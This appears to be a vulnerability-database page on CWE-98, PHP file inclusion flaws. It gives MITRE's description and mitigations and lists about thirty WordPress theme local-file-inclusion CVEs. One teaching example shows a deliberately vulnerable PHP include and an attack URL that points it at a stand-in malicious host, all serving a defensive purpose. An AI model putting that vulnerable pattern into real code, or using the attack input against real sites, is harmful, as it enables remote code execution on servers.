Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) — Vulnerability Class 1085

1085 vulnerabilities classified as CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)). AI Chinese analysis included.

CWE-98 represents a critical input validation weakness where PHP applications fail to properly sanitize user-supplied data before passing it to include or require functions. Attackers typically exploit this by injecting malicious URLs or local file paths, enabling Remote File Inclusion (RFI) or Local File Inclusion (LFI). This allows adversaries to execute arbitrary code hosted on external servers or access sensitive system files, often leading to full server compromise. To mitigate this risk, developers must strictly validate and whitelist allowed filenames or paths, ensuring only expected local resources are included. Additionally, disabling the allow_url_include and allow_url_fopen directives in the PHP configuration prevents the inclusion of remote files entirely. Implementing robust input validation and adhering to the principle of least privilege significantly reduces the attack surface associated with dynamic file inclusion mechanisms.

MITRE CWE Description
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions. In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the product will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.
Common Consequences (1)
Integrity, Confidentiality, AvailabilityExecute Unauthorized Code or Commands
The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the f…
Mitigations (5)
Architecture and DesignUse a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and DesignWhen the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Architecture and DesignFor any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, OperationRun the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, OperationRun your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
Examples (1)
The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
$dir = $_GET['module_name']; include($dir . "/function.php");
Bad · PHP
victim.php?module_name=http://malicious.example.com
Attack
CVE IDTitleCVSSSeverityPublished
CVE-2025-58948 WordPress Aromatica theme <= 1.8 - Local File Inclusion vulnerability — Aromatica 8.1 High2025-12-18
CVE-2025-58945 WordPress EcoGrow theme <= 1.7 - Local File Inclusion vulnerability — EcoGrow 8.1 High2025-12-18
CVE-2025-58946 WordPress Vocal theme <= 1.12 - Local File Inclusion vulnerability — Vocal 8.1 High2025-12-18
CVE-2025-58949 WordPress Spock theme <= 1.17 - Local File Inclusion vulnerability — Spock 8.1 High2025-12-18
CVE-2025-58944 WordPress Manufactory theme <= 1.4 - Local File Inclusion vulnerability — Manufactory 8.1 High2025-12-18
CVE-2025-58940 WordPress Basil theme <= 1.3.12 - Local File Inclusion vulnerability — Basil 8.1 High2025-12-18
CVE-2025-58941 WordPress Fabric theme <= 1.5.0 - Local File Inclusion vulnerability — Fabric 8.1 High2025-12-18
CVE-2025-58943 WordPress Agricola theme <= 1.1.0 - Local File Inclusion vulnerability — Agricola 8.1 High2025-12-18
CVE-2025-58942 WordPress Dwell theme <= 1.7.0 - Local File Inclusion vulnerability — Dwell 8.1 High2025-12-18
CVE-2025-58937 WordPress Tacticool theme <= 1.0.13 - Local File Inclusion vulnerability — Tacticool 8.1 High2025-12-18
CVE-2025-58935 WordPress Lunna theme <= 1.15 - Local File Inclusion vulnerability — Lunna 8.1 High2025-12-18
CVE-2025-58933 WordPress Anubis theme <= 1.25 - Local File Inclusion vulnerability — Anubis 8.1 High2025-12-18
CVE-2025-58934 WordPress The Gig theme <= 1.18.0 - Local File Inclusion vulnerability — The Gig 8.1 High2025-12-18
CVE-2025-58936 WordPress Catamaran theme <= 1.15 - Local File Inclusion vulnerability — Catamaran 8.1 High2025-12-18
CVE-2025-58931 WordPress Palatio theme <= 1.6 - Local File Inclusion vulnerability — Palatio 8.1 High2025-12-18
CVE-2025-58928 WordPress Heart theme <= 1.8 - Local File Inclusion vulnerability — Heart 8.1 High2025-12-18
CVE-2025-58932 WordPress Prisma theme <= 1.10 - Local File Inclusion vulnerability — Prisma 8.1 High2025-12-18
CVE-2025-58929 WordPress Pantry theme <= 1.4 - Local File Inclusion vulnerability — Pantry 8.1 High2025-12-18
CVE-2025-58930 WordPress FitFlex theme <= 1.6 - Local File Inclusion vulnerability — FitFlex 8.1 High2025-12-18
CVE-2025-58901 WordPress Takeout theme <= 1.3.0 - Local File Inclusion vulnerability — Takeout 8.1 High2025-12-18
CVE-2025-58927 WordPress Stallion theme <= 1.17 - Local File Inclusion vulnerability — Stallion 8.1 High2025-12-18
CVE-2025-58900 WordPress UniTravel theme <= 1.4.2 - Local File Inclusion vulnerability — UniTravel 8.1 High2025-12-18
CVE-2025-58926 WordPress Cerebrum theme <= 1.12 - Local File Inclusion vulnerability — Cerebrum 8.1 High2025-12-18
CVE-2025-58925 WordPress Neptunus theme <= 1.0.11 - Local File Inclusion vulnerability — Neptunus 8.1 High2025-12-18
CVE-2025-58923 WordPress Critique theme <= 1.17 - Local File Inclusion vulnerability — Critique 8.1 High2025-12-18
CVE-2025-58893 WordPress Alright theme <= 1.6.1 - Local File Inclusion vulnerability — Alright 8.1 High2025-12-18
CVE-2025-58895 WordPress Integro theme <= 1.8.0 - Local File Inclusion vulnerability — Integro 8.1 High2025-12-18
CVE-2025-58898 WordPress HealthHub theme <= 1.3.0 - Local File Inclusion vulnerability — HealthHub 8.1 High2025-12-18
CVE-2025-58899 WordPress Frame theme <= 2.4.0 - Local File Inclusion vulnerability — Frame 8.1 High2025-12-18
CVE-2025-58894 WordPress Good Mood theme <= 1.16 - Local File Inclusion vulnerability — Good Mood 8.1 High2025-12-18

Vulnerabilities classified as CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) represent 1085 CVEs. The CWE taxonomy describes the weakness; review individual CVEs for product-specific impact.